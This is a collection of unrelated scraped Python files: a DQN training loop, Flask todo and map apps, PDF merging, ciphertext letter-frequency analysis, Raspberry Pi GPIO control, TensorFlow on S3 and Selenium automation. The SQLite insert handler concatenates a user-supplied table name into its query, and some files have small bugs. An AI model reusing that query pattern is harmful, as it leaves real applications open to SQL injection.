= np.argmax(Qs)\n action = possible_actions[choice]\n\n return action, explore_probability\n\nsaver = tf.train.Saver()\n\nif training == True:\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n decay_step = 0\n rewards_list = []\n for episode in range(total_episodes):\n step = 0\n episode_rewards = []\n state = env.reset()\n state, stacked_frames = stack_frames(stacked_frames, state, True)\n\n while step < max_steps:\n step += 1\n decay_step += 1\n action, explore_probability = predict_action(explore_start, explore_stop, decay_rate,\n decay_step, state, possible_actions)\n next_state, reward, done, _ = env.step(action)\n\n if episode_render:\n env.render()\n\n episode_rewards.append(reward)\n\n if done:\n next_state = np.zeros((110, 84), dtype=np.int)\n next_state, stacked_frames = stack_frames(stacked_frames, next_state, False)\n step = max_steps\n total_reward = np.sum(episode_rewards)\n rewards_list.append((episode, total_reward))\n dqn_memory.add((state, action, reward, next_state, done))\n else:\n next_state, stacked_frames = stack_frames(stacked_frames, next_state, False)\n dqn_memory.add((state, action, reward, next_state, done))\n state = next_state \n ### LEARNING PART\n batch = dqn_memory.sample(batch_size)\n states_mb = np.array([each[0] for each in batch], ndmin=3)\n actions_mb = np.array([each[1] for each in batch])\n rewards_mb = np.array([each[2] for each in batch])\n next_states_mb = np.array([each[3] for each in batch], ndmin=3)\n dones_mb = np.array([each[4] for each in batch])\n\n target_Qs_batch = []\n\n Qs_next_state = sess.run(DQNetwork.output, feed_dict = {DQNetwork.inputs_: next_states_mb})\n for i in range(0, len(batch)):\n terminal = dones_mb[i]\n if terminal:\n target_Qs_batch.append(rewards_mb[i])\n else:\n target = rewards_mb[i] + gamma*np.max(Qs_next_state[i])\n target_Qs_batch.append(target)\n\n targets_mb = np.array([each for each in target_Qs_batch])\n loss, _ = sess.run([DQNetwork.loss, DQNetwork.optimizer],\n feed_dict={DQNetwork.inputs_: states_mb,\n DQNetwork.targetQ: targets_mb,\n DQNetwork.actions_: actions_mb})\n summary = sess.run(write_op, feed_dict={DQNetwork.inputs_: states_mb,\n DQNetwork.targetQ: targets_mb,\n DQNetwork.actions_: actions_mb})\n \n logger.info(\"Episode: {},Total reward: {},Explore P: {:.4f},Training Loss: {:.4f}\".format(episode, total_reward, explore_probability, loss))\n writer.add_summary(summary, episode)\n writer.flush()\n\n if episode % 5 == 0:\n save_path = saver.save(sess, \".models/model.ckpt\")\n logger.info(\"Model saved.\")\n\n\nif agent_test:\n total_test_rewards = []\n saver.restore(sess, \".models/model.ckpt\")\n for episode in range(1):\n total_reward = 0\n\n state = env.reset()\n state, stacked_frames = stack_frames(stacked_frames, state, True)\n\n logger.info(\"*******************************************************\")\n logger.info(\"EPISODE \", episode)\n\n while True:\n state = state.reshape((1, *state_size))\n\n Qs = sess.run(DQNetwork.output, feed_dict= {DQNetwork.inputs_: state})\n\n choice = np.argmax(Qs)\n action = possible_actions[choice]\n\n next_state, reward, done, _ = env.step(action)\n env.render()\n\n total_reward += reward\n if done:\n logger.info(\"Score: {}\". format(total_reward))\n total_test_rewards.append(total_reward)\n break\n\n state, stacked_frames = stack_frames(stacked_frames, state, False)\n state = next_state\n env.close()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"140314926","text":"\"\"\"\nExtract the 'repo = ' line from a credentials file.\nFile must have fixed name credentials.py, in this directory\n\"\"\"\nimport configparser\ntry:\n config = configparser.ConfigParser()\n config.read('scripts/credentials.conf')\n print(config['DEFAULT']['repo'])\nexcept Exception as err: \n print(\"***Unable to extract repo line***\")\n sys.exit(1) # Error code for shell\n\n \n","sub_path":"grading/gradingApplication/scripts/extract_repo.py","file_name":"extract_repo.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"654122602","text":"import cv2\r\nimport tkinter as tk\r\nfrom tkinter import *\r\nfrom PIL import Image, ImageTk\r\nfrom tkinter import messagebox\r\n\r\nwhite = \"#ffffff\"\r\nlightBlue2 = \"#adc5ed\"\r\nfont = \"Constantia\"\r\nfontButtons = (font, 12)\r\nmaxWidth = 800\r\nmaxHeight = 640\r\n\r\n# Grafik oyna\r\nmainWindow = tk.Tk()\r\nmainWindow.configure(bg=lightBlue2)\r\nmainWindow.geometry('%dx%d+%d+%d' % (maxWidth, maxHeight, 0, 0))\r\nmainWindow.resizable(0, 0)\r\n\r\nmainFrame = Frame(mainWindow)\r\nmainFrame.place(x=70, y=70)\r\n\r\n# Video tasvirlarni joylash\r\nlmain = tk.Label(mainFrame)\r\nlmain.grid(row=0, column=0)\r\n\r\n\r\ndef Tugadi():\r\n answer = tk.messagebox.askquestion(\"Are you sure ?\", \"Dastur tugatilsinmi ?\")\r\n if answer == 'yes':\r\n mainWindow.destroy()\r\n\r\n\r\nstartButton = Button(mainWindow, text=\"START\", font=fontButtons, bg=white, width=15, height=1)\r\nstartButton.place(x=200, y=570)\r\nstartButton.configure(command=lambda: show_frame())\r\n\r\ncloseButton = Button(mainWindow, text=\"QUIT\", font=fontButtons, bg=white, width=15, height=1)\r\ncloseButton.configure(command=lambda: Tugadi())\r\ncloseButton.place(x=450, y=570)\r\n\r\ncap = cv2.VideoCapture(0)\r\n\r\n\r\ndef show_frame():\r\n ret, frame = cap.read()\r\n\r\n cv2image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGBA)\r\n\r\n img = Image.fromarray(cv2image)\r\n imgtk = ImageTk.PhotoImage(image=img)\r\n lmain.configure(image=imgtk)\r\n lmain.imgtk = imgtk\r\n\r\n mainWindow.after(10, show_frame)\r\n\r\n\r\nmainWindow.mainloop() # GUI boshlanadi\r\n","sub_path":"Python and Opencv projects/Python+Opencv+Tkinter.py","file_name":"Python+Opencv+Tkinter.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"150431268","text":"'''\nCopyright 2019 Broadcom. The term \"Broadcom\" refers to Broadcom Inc.\nand/or its subsidiaries.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n'''\n\nimport sys\nimport os\nimport pytest\n\nfrom ztp.ZTPLib import runCommand, getCfg\nfrom .testlib import createPySymlink\nsys.path.append(getCfg('plugins-dir'))\n\ncreatePySymlink(getCfg('plugins-dir')+'/connectivity-check')\nfrom connectivity_check import ConnectivityCheck\n\nclass TestClass(object):\n\n '''!\n This class allow to define unit tests for class ConnectivityCheck\n '''\n\n def test_data_hardening_test1(self, tmpdir):\n '''!\n Test case when we call the plugin with incomplete or wrong data\n '''\n d = tmpdir.mkdir(\"valid\")\n fh = d.join(\"input.json\")\n fh.write(\"\"\"\n {\n \"Foo\": \"empty\"\n }\n \"\"\")\n connectivity_check = ConnectivityCheck(str(fh))\n with pytest.raises(SystemExit) as pytest_wrapped_e:\n connectivity_check.main()\n assert pytest_wrapped_e.type == SystemExit\n assert pytest_wrapped_e.value.code == 1\n\n def test_data_hardening_test2(self, tmpdir):\n '''!\n Test case when we call the plugin with incomplete or wrong data\n '''\n d = tmpdir.mkdir(\"valid\")\n fh = d.join(\"input.json\")\n fh.write(\"\"\"\n {\n \"ztp\": { }\n }\n \"\"\")\n connectivity_check = ConnectivityCheck(str(fh))\n with pytest.raises(SystemExit) as pytest_wrapped_e:\n connectivity_check.main()\n assert pytest_wrapped_e.type == SystemExit\n assert pytest_wrapped_e.value.code == 1\n\n def test_ping_localhost(self, tmpdir):\n '''!\n Test case pinging IPV4 localhost:\n Verify that pinging IPV4 localhost succeeds\n '''\n d = tmpdir.mkdir(\"valid\")\n fh = d.join(\"input.json\")\n fh.write(\"\"\"\n {\n \"connectivity-check\": {\n \"ping-hosts\": \"127.0.0.1\",\n \"deadline\": 15\n }\n }\n \"\"\")\n connectivity_check = ConnectivityCheck(str(fh))\n with pytest.raises(SystemExit) as pytest_wrapped_e:\n connectivity_check.main()\n assert pytest_wrapped_e.type == SystemExit\n assert pytest_wrapped_e.value.code == 0\n\n def test_ping_non_routable_address(self, tmpdir):\n '''!\n Test case pinging non routable IPV4 address:\n Verify that pinging IPV4 non routable address fails\n '''\n d = tmpdir.mkdir(\"valid\")\n fh = d.join(\"input.json\")\n fh.write(\"\"\"\n {\n \"01-connectivity-check\": {\n \"retry-count\": 2,\n \"retry-interval\": 15,\n \"timeout\": \"10\",\n \"ping-hosts\": [\"192.0.2.1\", 123]\n }\n }\n \"\"\")\n connectivity_check = ConnectivityCheck(str(fh))\n with pytest.raises(SystemExit) as pytest_wrapped_e:\n connectivity_check.main()\n assert pytest_wrapped_e.type == SystemExit\n assert pytest_wrapped_e.value.code == 1\n\n def test_ping_ipv6_localhost(self, tmpdir):\n '''!\n Test case pinging IPV6 localhost\n Verify that pinging IPV6 localhost succeeds\n '''\n d = tmpdir.mkdir(\"valid\")\n fh = d.join(\"input.json\")\n fh.write(\"\"\"\n {\n \"connectivity-check\": {\n \"ping6-hosts\": [\"0:0:0:0:0:0:0:1\"],\n \"retry-count\": -2,\n \"retry-interval\": -15\n }\n }\n \"\"\")\n connectivity_check = ConnectivityCheck(str(fh))\n with pytest.raises(SystemExit) as pytest_wrapped_e:\n connectivity_check.main()\n assert pytest_wrapped_e.type == SystemExit\n assert pytest_wrapped_e.value.code == 0\n\n def test_ping_ipv6_non_routable_address(self, tmpdir):\n '''!\n Test case pinging non routable IPV6 address:\n Verify that pinging IPV6 non routable address fails\n '''\n d = tmpdir.mkdir(\"valid\")\n fh = d.join(\"input.json\")\n fh.write(\"\"\"\n {\n \"connectivity-check\": {\n \"ping6-hosts\": [\"0:0:0:0:0:0:0:1\", \"fe:80:0:0:0:0:0:1\"],\n \"retry-count\": 2\n }\n }\n \"\"\")\n connectivity_check = ConnectivityCheck(str(fh))\n with pytest.raises(SystemExit) as pytest_wrapped_e:\n connectivity_check.main()\n assert pytest_wrapped_e.type == SystemExit\n assert pytest_wrapped_e.value.code == 1\n","sub_path":"tests/test_connectivity-check.py","file_name":"test_connectivity-check.py","file_ext":"py","file_size_in_byte":5066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"484462323","text":"import PyPDF2, os\r\n\r\n\r\ndef mergeDefault():\r\n\r\n\tfiles = []\r\n\tfor filename in os.listdir('pdf'):\r\n\t\tif filename.endswith('pdf'):\r\n\r\n\t\t\tfiles.append(filename)\r\n\tos.chdir('pdf')\r\n\twriter = PyPDF2.PdfFileWriter()\r\n\tfiles.sort(key = str.lower)\r\n\t#os.getcwd()\r\n\r\n\r\n\r\n\tfor filename in files:\r\n\r\n\t\tfileObj = open (filename,'rb') \r\n\t\treader = PyPDF2.PdfFileReader(fileObj)\r\n\t\tfor pageNum in range(0,reader.numPages):\r\n\t\t\tpageObj = reader.getPage(pageNum)\r\n\t\t\twriter.addPage(pageObj)\r\n\t\t\r\n\r\n\tresultPdf = open('FinalPDF.pdf','wb')\r\n\twriter.write(resultPdf)\r\n\tfileObj.close()\r\n\tresultPdf.close()\r\n\r\ndef decide():\r\n\tglobal var\r\n\tnum = var.get()\r\n\tif num == 1:\r\n\t\tmergeDefault()\r\nfrom Tkinter import *\r\ntop = Tk()\r\ntop.title('Merge PDFs')\r\n\r\nstring = StringVar()\r\nlabel = Label(top, textvariable=string )\r\nstring.set(\"All PDFs in the set directory will be merged according to alphabetical order of file name.\\n To Merge check the box below and start merge.\")\r\nlabel.pack()\r\n\r\nvar = IntVar()\r\nC = Checkbutton(top, text = \"Merge all PDFs directly\", variable = var)\r\nC.pack()\r\n\r\nb = Button(top,text='Start Merging',command=decide)\r\nb.pack()\r\n\r\na= Button(top, text=\"Close\", command=quit)\r\na.pack()\r\n\r\ntop.mainloop()","sub_path":"merge_pdf_files.py","file_name":"merge_pdf_files.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"593621615","text":"#!/usr/bin/env python\n\nimport argparse\nimport sys\n\ntry:\n from typing import Dict\nexcept ImportError:\n pass\n\nreference_frequency = {\n \"E\": 12.02,\n \"T\": 9.10,\n \"A\": 8.12,\n \"O\": 7.68,\n \"I\": 7.31,\n \"N\": 6.95,\n \"S\": 6.28,\n \"R\": 6.02,\n \"H\": 5.92,\n \"D\": 4.32,\n \"L\": 3.98,\n \"U\": 2.88,\n \"C\": 2.71,\n \"M\": 2.61,\n \"F\": 2.30,\n \"Y\": 2.11,\n \"W\": 2.09,\n \"G\": 2.03,\n \"P\": 1.82,\n \"B\": 1.49,\n \"V\": 1.11,\n \"K\": 0.69,\n \"X\": 0.17,\n \"Q\": 0.11,\n \"J\": 0.10,\n \"Z\": 0.07,\n}\n\n\ndef parse_arguments():\n # type: () -> argparse.Namespace\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"FILE\",\n help=\"The input file with the ciphertext (use '-' for standard input)\",\n default=\"-\")\n return parser.parse_args()\n\n\ndef read_ciphertext(options):\n # type: (argparse.Namespace) -> str\n\n if options.FILE == \"-\":\n with sys.stdin as fd:\n text = fd.readlines()\n else:\n with open(options.FILE) as fd:\n text = fd.readlines()\n ciphertext = \"\"\n for line in text:\n ciphertext += line.lower().rstrip()\n return ciphertext\n\n\ndef count_letters(text):\n # type: (str) -> Dict[str, Dict[ str, float]]\n \"\"\"Count the letter frequencies in 'text'\n\n Count the letter frequency in 'text'. The output is a dictionary\n {'LETTER': { \"count\": COUNT, \"frequency\": FREQUENCY(in %) }.\n\n \"\"\"\n\n result = {} # type: Dict[str, Dict[str, float]]\n total = 0 # type: int\n for letter in text:\n letter = letter.strip()\n if len(letter) == 0:\n continue\n total += 1\n if letter in result:\n result[letter][\"count\"] += 1\n else:\n result[letter] = {\"count\": 1}\n for letter in result:\n result[letter][\"frequency\"] = result[letter][\"count\"] / total * 100\n return result\n\n\ndef main(options):\n # type: (argparse.Namespace) -> None\n\n ciphertext = read_ciphertext(options)\n letter_frequencies = count_letters(ciphertext)\n letters = sorted(letter_frequencies,\n key=lambda l: letter_frequencies[l][\"count\"],\n reverse=True)\n reference = sorted(reference_frequency,\n key=reference_frequency.get, reverse=True)\n print(\"ciphertext | reference\")\n print(\"--------------------------\")\n for l in letters:\n reference_string = \"-\"\n if len(reference) > 0:\n reference_string = \"%6.3f (%s)\" % (\n reference_frequency[reference[0]], reference[0].lower())\n del reference[0]\n print(\"%s %4d %6.3f | %s\" % (\n l, letter_frequencies[l][\"count\"],\n letter_frequencies[l][\"frequency\"], reference_string))\n\n\nif __name__ == \"__main__\":\n main(parse_arguments())\n","sub_path":"scripts/frequency_analysis.py","file_name":"frequency_analysis.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"274960002","text":"from flask import Flask, render_template, request, redirect, url_for\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///todo.db'\n\ndb = SQLAlchemy(app)\n\n\nclass Todo(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n text = db.Column(db.String(200))\n complete = db.Column(db.Boolean)\n\n\n@app.route('/')\ndef home():\n incomplete = Todo.query.filter_by(complete=False).all()\n complete = Todo.query.filter_by(complete=True).all()\n\n return render_template('home.html', incomplete=incomplete, complete=complete)\n\n\n@app.route('/add', methods=['POST'])\ndef add():\n todotext = request.form['todotext']\n todo = Todo(text=todotext, complete=False)\n db.session.add(todo)\n db.session.commit()\n\n return redirect(url_for('home'))\n\n\n@app.route('/complete/')\ndef complete(id):\n todo = Todo.query.filter_by(id=int(id)).first()\n todo.complete = True\n db.session.commit()\n\n return redirect(url_for('home'))\n\n@app.route('/delete/')\ndef delete(id):\n todo = Todo.query.filter_by(id=int(id)).first()\n db.session.delete(todo)\n db.session.commit()\n\n return redirect(url_for('home'))\n\n@app.route('/update/', methods=['GET', 'POST'])\ndef update(id):\n todo = Todo.query.filter_by(id=int(id)).first()\n if request.method == 'POST':\n todo.text = request.form['todotext']\n db.session.commit()\n return redirect(url_for('home'))\n else:\n return render_template('update.html', todo=todo)\n\n\nif __name__ == '__main__':\n app.run(debug=True)","sub_path":"Project/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"444850960","text":"# coding: utf-8\n#!/usr/bin/env python3\n\nimport redis\nimport configparser\nfrom flask_googlemaps import GoogleMaps\nfrom flask_googlemaps import Map, icons\nfrom flask import Flask, render_template, Response\n\n\napp = Flask(__name__, template_folder=\"templates\")\n\n# you can set key as config\napp.config['GOOGLEMAPS_KEY'] = \"\"\nGoogleMaps(app, key=\"\")\n\nconfig = configparser.ConfigParser()\nconfig.read('TapAndMap.conf')\n\n\n@app.route(\"/\")\ndef mapview():\n r = redis.StrictRedis(host='localhost', port=6379, db=0)\n markersL = [{'icon': icons.alpha.A,\n 'lat': config['all']['HomeLat'],\n 'lng': config['all']['HomeLong'],\n 'infobox': \"This is your TapAndMap server. IP: \" +\n config['all']['TapAndMapIP']}]\n geolines = []\n for key in r.scan_iter(\"*\"):\n if key.split(b':')[1] == b'1': # ICMP\n icon = icons.dots.blue\n line = '#0000FF'\n elif key.split(b':')[1] == b'6': # TCP\n icon = icons.dots.yellow\n line = '#FFFF00'\n elif key.split(b':')[1] == b'17': # UDP\n icon = icons.dots.green\n line = '#00FF00'\n try:\n markersL.append({'icon': icon,\n 'lat': r.get(key).split(b'x')[0].decode(\"UTF-8\"),\n 'lng': r.get(key).split(b'x')[1].decode(\"UTF-8\"),\n 'infobox': 'IP:' +\n key.split(b':')[0].decode(\"UTF-8\"),\n })\n\n pathList = [{'lat': float(config['all']['HomeLat']),\n 'lng': float(config['all']['HomeLong'])},\n {'lat': float(\n r.get(key).split(b'x')[0].decode(\"UTF-8\")),\n 'lng': float(\n r.get(key).split(b'x')[1].decode(\"UTF-8\"))}]\n\n geolines.append({'stroke_color': line,\n 'stroke_opacity': 1.0,\n 'stroke_weight': 3,\n 'geodesic': True,\n 'path': pathList\n }\n )\n except IndexError:\n pass\n\n tap_and_map = Map(\n identifier=\"tapandmap\",\n varname=\"tapandmap\",\n lat=config['all']['HomeLat'],\n lng=config['all']['HomeLong'],\n style=\"height:100vh;width:70vw;margin:0;float:left;\",\n zoom=config['all']['ZoomLevel'],\n fit_markers_to_bounds=True,\n polylines=geolines,\n markers=markersL\n )\n\n return render_template(\n 'index.html',\n tap_and_map=tap_and_map,\n )\n\n\n@app.errorhandler(404)\ndef not_found(exc):\n return Response('

    There is only one page, and this is not it'), 404\n\n\nif __name__ == \"__main__\":\n app.run(debug=True, use_reloader=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"475245821","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\n#\n# This file is base on EditableGrid example.\n# http://editablegrid.net\n#\n# Copyright 2018 by ceprio\n# This file is part of editablegrid-python-sqlite-example which is released under the MIT License.\n# See file LICENCE_1 or go to https://github.com/ceprio/editablegrid-python-sqlite-example for \n# full license details.\n\n# This script loads data from the database and returns it to the js\n\nimport config\nimport sqlite3\nfrom bs4 import BeautifulSoup\n\ndef main(_POST):\n try:\n ret = \"error\"\n con = sqlite3.connect(config['db_name'])\n\n # Get all parameter provided by the javascript\n name = BeautifulSoup(_POST['name'], \"lxml\").get_text()\n firstname = BeautifulSoup(_POST['firstname'], \"lxml\").get_text()\n tablename = BeautifulSoup(_POST['tablename'], \"lxml\").get_text()\n\n cur = con.execute(\"INSERT INTO \" + tablename + \" (name, firstname) VALUES ( ?, ?)\", (name, firstname))\n data = cur.fetchall()\n if not data:\n con.commit()\n ret = \"ok\"\n\n# except sqlite3.Error as e:\n# self.log.error(\"Database error: %s\" % e)\n# except Exception as e:\n# self.log.error(\"Exception in _query: %s\" % e)\n finally:\n if con:\n con.close()\n return ret\n\nif __name__ == \"__main__\":\n print(main({'name' : 'Pronovsot', 'firstname' : 'Christian', 'tablename': 'demo'}))\n\n\n","sub_path":"add.py","file_name":"add.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"346165919","text":"# -*- coding: utf-8 -*-\n# vi:si:et:sw=4:sts=4:ts=4\n# @Time : 2021/4/8 9:01 PM\n# @Author : zhangsong\n\nimport os\nimport random\nimport tensorflow as tf\nimport boto3\n\n# example:https://tensorflow.google.cn/tutorials/load_data/images?hl=zh_cn\n# init s3 env for tensorflow s3 driver\nos.environ['AWS_ACCESS_KEY_ID'] = \"empty\"\nos.environ['AWS_SECRET_ACCESS_KEY'] = \"empty\"\nos.environ['S3_ENDPOINT'] = \"localhost:8333\"\nos.environ['S3_USE_HTTPS'] = \"0\"\nos.environ['S3_VERIFY_SSL'] = \"0\"\n\n# init s3 info for boto3 driver\naws_access_key_id = \"empty\"\naws_secret_access_key = \"empty\"\naws_endpoint_url = \"http://localhost:8333\"\n\nbucket_name = \"tensorflowbucket\"\nprefix = \"flower_photos/\"\n\nAUTOTUNE = tf.data.experimental.AUTOTUNE\n\n\ns3_client = boto3.client(\"s3\", aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key,\n endpoint_url=aws_endpoint_url)\n\n# response structure of list_objects_v2():\n# https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/s3.html#S3.Client.list_objects_v2\nall_image_paths = list(\"s3://{}/{}\".format(bucket_name, obj['Key']) for obj in\n s3_client.list_objects_v2(Bucket=bucket_name, Prefix=prefix)['Contents'])\nrandom.shuffle(all_image_paths)\nlabel_names = sorted(prefix['Prefix'].rstrip('/').split('/')[-1] for prefix in\n s3_client.list_objects_v2(Bucket=bucket_name, Delimiter='/', Prefix=prefix)['CommonPrefixes'])\nlabel_to_index = dict((name, index) for index, name in enumerate(label_names))\nall_image_labels = [label_to_index[path.split(\"/\")[-2]] for path in all_image_paths]\n\n\ndef preprocess_image(image):\n image = tf.image.decode_jpeg(image, channels=3)\n image = tf.image.resize(image, [192, 192])\n image /= 255.0 # normalize to [0,1] range\n\n return image\n\n\ndef load_and_preprocess_image(path):\n image = tf.io.read_file(path)\n return preprocess_image(image)\n\n\npath_ds = tf.data.Dataset.from_tensor_slices(all_image_paths)\nimage_ds = path_ds.map(load_and_preprocess_image, num_parallel_calls=AUTOTUNE)\nlabel_ds = tf.data.Dataset.from_tensor_slices(tf.cast(all_image_labels, tf.int64))\nimage_label_ds = tf.data.Dataset.zip((image_ds, label_ds))\n\nBATCH_SIZE = 32\n\nds = image_label_ds.apply(tf.data.experimental.shuffle_and_repeat(buffer_size=len(all_image_paths)))\nds = ds.batch(BATCH_SIZE)\nds = ds.prefetch(buffer_size=AUTOTUNE)\n\nmobile_net = tf.keras.applications.MobileNetV2(input_shape=(192, 192, 3), include_top=False)\nmobile_net.trainable = False\n\n\ndef change_range(image, label):\n return 2 * image - 1, label\n\n\nkeras_ds = ds.map(change_range)\n\nmodel = tf.keras.Sequential([\n mobile_net,\n tf.keras.layers.GlobalAveragePooling2D(),\n tf.keras.layers.Dense(len(label_names), activation='softmax')])\n\nmodel.compile(optimizer=tf.keras.optimizers.Adam(),\n loss='sparse_categorical_crossentropy',\n metrics=[\"accuracy\"])\n\nsteps_per_epoch = tf.math.ceil(len(all_image_paths) / BATCH_SIZE).numpy()\n\nmodel.fit(ds, epochs=1, steps_per_epoch=3)\n","sub_path":"tensorflow_on_s3.py","file_name":"tensorflow_on_s3.py","file_ext":"py","file_size_in_byte":3030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"13525384","text":"#!/usr/bin/env python\n\nimport usb.core\nimport usb.util\nimport time\nimport RPi.GPIO as GPIO\n\n#HID device used\nVENDOR_ID = 0x05a4 #replace with your HID vendor ID\nPRODUCT_ID = 0x0102 #replace with your HID product ID\n\n#HID keys initialise\nKEY_MINUS = 86 # will set pin HIGH\nKEY_PLUS = 87 # will set pin LOW\nKEY_ENTER = 88 # unused TBA\nKEY_NUM_1 = 89 # will control GPIO 4\nKEY_NUM_2 = 90 # will control GPIO 17\nKEY_NUM_3 = 91 # will control GPIO 27\nKEY_NUM_4 = 92 # will control GPIO 22\nKEY_NUM_5 = 93 # will control GPIO 23\nKEY_NUM_6 = 94 # will control GPIO 24\nKEY_NUM_7 = 95 # will control GPIO 25\nKEY_NUM_8 = 96 # will control GPIO 18\nKEY_NUM_9 = 97 # unused TBA\nKEY_NUM_0 = 98 # will reset all GPIO\nKEY_DEL_0 = 99 # will break out of program\n\n#GPIO initialise\nGPIO.setmode(GPIO.BCM) # using BCM scheme\nGPIO.setup(4, GPIO.OUT) # using GPIO 4 as OUT\nGPIO.setup(17, GPIO.OUT) # using GPIO 17 as OUT\nGPIO.setup(27, GPIO.OUT) # using GPIO 27 as OUT\nGPIO.setup(22, GPIO.OUT) # using GPIO 22 as OUT\nGPIO.setup(23, GPIO.OUT) # using GPIO 23 as OUT\nGPIO.setup(24, GPIO.OUT) # using GPIO 24 as OUT\nGPIO.setup(25, GPIO.OUT) # using GPIO 25 as OUT\nGPIO.setup(18, GPIO.OUT) # using GPIO 18 as OUT\npinlist = [4,17,27,22,23,24,25,18]\n\n#USB initialise\nUSB_IF = 0\nUSB_TIMEOUT = 5\n\ndev = usb.core.find(idVendor=VENDOR_ID, idProduct=PRODUCT_ID)\nendpoint = dev[0][(0,0)][0]\n\nif dev.is_kernel_driver_active(USB_IF) is True:\n\tdev.detach_kernel_driver(USB_IF)\nusb.util.claim_interface(dev, USB_IF)\n\n#listening for key events\nwhile True:\n\tcontrol = None\n\ttry:\n\t\tcontrol = dev.read(endpoint.bEndpointAddress, endpoint.wMaxPacketSize, USB_TIMEOUT)\n\t\tif KEY_NUM_1 in control and KEY_PLUS in control:\n\t\t\tGPIO.output(4,1)\n\t\telif KEY_NUM_1 in control and KEY_MINUS in control:\n\t\t\tGPIO.output(4,0)\n\t\telif KEY_NUM_2 in control and KEY_PLUS in control:\n\t\t\tGPIO.output(17,1)\n\t\telif KEY_NUM_2 in control and KEY_MINUS in control:\n\t\t\tGPIO.output(17,0)\n\t\telif KEY_NUM_3 in control and KEY_PLUS in control:\n\t\t\tGPIO.output(27,1)\n\t\telif KEY_NUM_3 in control and KEY_MINUS in control:\n\t\t\tGPIO.output(27,0)\n\t\telif KEY_NUM_4 in control and KEY_PLUS in control:\n\t\t\tGPIO.output(22,1)\n\t\telif KEY_NUM_4 in control and KEY_MINUS in control:\n\t\t\tGPIO.output(22,0)\n\t\telif KEY_NUM_5 in control and KEY_PLUS in control:\n\t\t\tGPIO.output(23,1)\n\t\telif KEY_NUM_5 in control and KEY_MINUS in control:\n\t\t\tGPIO.output(23,0)\n\t\telif KEY_NUM_6 in control and KEY_PLUS in control:\n\t\t\tGPIO.output(24,1)\n\t\telif KEY_NUM_6 in control and KEY_MINUS in control:\n\t\t\tGPIO.output(24,0)\n\t\telif KEY_NUM_7 in control and KEY_PLUS in control:\n\t\t\tGPIO.output(25,1)\n\t\telif KEY_NUM_7 in control and KEY_MINUS in control:\n\t\t\tGPIO.output(25,0)\n\t\telif KEY_NUM_8 in control and KEY_PLUS in control:\n\t\t\tGPIO.output(18,1)\n\t\telif KEY_NUM_8 in control and KEY_MINUS in control:\n\t\t\tGPIO.output(18,0)\n\t\telif KEY_NUM_0 in control:\n\t\t\tfor i in pinlist:\n\t\t\t\tGPIO.output(i,0)\n\t\telif KEY_DEL_0 in control:\n\t\t\tbreak\n\t\telse:\n\t\t\tpass\n\texcept:\n\t\tpass\n\ttime.sleep(0.1)\nGPIO.cleanup()\n","sub_path":"HIDkeys/HIDgpio.py","file_name":"HIDgpio.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"276576948","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# __author__:hp\n\n__mtime__ = '2020-04-01'\nfrom selenium import webdriver\nfrom time import sleep\n\"\"\"\n陈旧的元素引用:元素没有附加到页面文档\n查找元素是引用过期，页面刷新后，之前查找到的元素被更新了，导致元素不能正常使用\nselenium.common.exceptions.StaleElementReferenceException: Message: stale element reference: element is not attached to the page document\n (Session info: chrome=80.0.3987.122)\n\n\"\"\"\n\ndef deleteAllCourse():\n driver = webdriver.Chrome()\n driver.get(\"http://localhost:90/mgr/login/login.html\")\n driver.implicitly_wait(10)\n # driver.find_element_by_id(\"username\").click()\n # driver.find_element_by_id(\"password\").click()\n driver.find_element_by_class_name(\"btn.btn-success\").click()\n driver.implicitly_wait(2)\n while True:\n delete_buttons = driver.find_elements_by_xpath(\"//tbody/tr/td[4]/button[2]\")\n # while True:\n print(len(delete_buttons))\n if delete_buttons == []:\n print(\"删除完毕\")\n break\n sleep(2)\n delete_buttons[0].click()\n sleep(2)\n driver.find_element_by_class_name(\"btn.btn-primary\").click()\n sleep(2)\n\n driver.quit()\n\nif __name__ == '__main__':\n 